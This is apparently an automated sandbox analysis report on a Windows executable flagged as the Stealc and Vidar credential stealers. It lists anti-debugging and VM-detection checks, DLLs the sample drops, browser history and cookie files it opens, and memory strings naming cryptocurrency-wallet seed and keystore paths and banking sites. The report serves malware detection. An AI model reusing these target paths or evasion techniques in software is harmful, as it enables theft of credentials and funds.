Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0436 second address: 53C0488 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B853A64FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F8B853A6506h 0x0000000f mov ebp, esp 0x00000011 jmp 00007F8B853A6500h 0x00000016 pop ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F8B853A6507h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE1A56 second address: AE1A5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0B2F second address: 53C0B6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8B853A6501h 0x00000009 add cx, 8F46h 0x0000000e jmp 00007F8B853A6501h 0x00000013 popfd 0x00000014 mov dx, ax 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov edx, 563E58DAh 0x00000023 mov bh, 28h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0B6D second address: 53C0BCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8B8538D983h 0x00000009 sbb ax, AB2Eh 0x0000000e jmp 00007F8B8538D989h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 jmp 00007F8B8538D97Ch 0x0000001d xchg eax, ebp 0x0000001e jmp 00007F8B8538D980h 0x00000023 mov ebp, esp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0BCB second address: 53C0BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 35EEh 0x00000008 popad 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 941ACB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AD42F1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AE9595 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B61C4E instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006F4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_006EDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_006EE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_006EBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006E16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_006F3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006EF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_006F38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_006F4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_006EED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006EDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006E1160 GetSystemInfo,ExitProcess,

0_2_006E1160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: AAFHIIDH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: AAFHIIDH.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: AAFHIIDH.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: AAFHIIDH.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: AAFHIIDH.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: AAFHIIDH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2250375452.0000000001685000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2250375452.00000000016B4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2250375452.0000000001699000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: AAFHIIDH.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: AAFHIIDH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: AAFHIIDH.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: AAFHIIDH.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: AAFHIIDH.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: AAFHIIDH.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: AAFHIIDH.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: AAFHIIDH.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: AAFHIIDH.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: AAFHIIDH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: AAFHIIDH.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: AAFHIIDH.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: AAFHIIDH.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: AAFHIIDH.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: AAFHIIDH.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: AAFHIIDH.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: AAFHIIDH.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: AAFHIIDH.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: AAFHIIDH.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: AAFHIIDH.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: AAFHIIDH.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2250375452.000000000163E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: AAFHIIDH.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: AAFHIIDH.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: AAFHIIDH.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: AAFHIIDH.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-57206
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-57209
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58396
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-57221
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-57229
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-57261

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6C5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C6C5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006E45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_006E45C0

Source: C:\Users\user\Desktop\file.exe

0_2_006F9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006F9750 mov eax, dword ptr fs:[00000030h]

0_2_006F9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006F7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_006F7850

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C69B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C69B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3348, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006F9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_006F9600

Source: file.exe, file.exe, 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C69B341 cpuid

0_2_6C69B341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_006F7B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006F6920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_006F6920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006F7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_006F7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006F7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_006F7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.6e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2250375452.000000000163E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2022166427.0000000005250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3348, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3348, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2250375452.00000000016B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fpF
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2250375452.00000000016B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
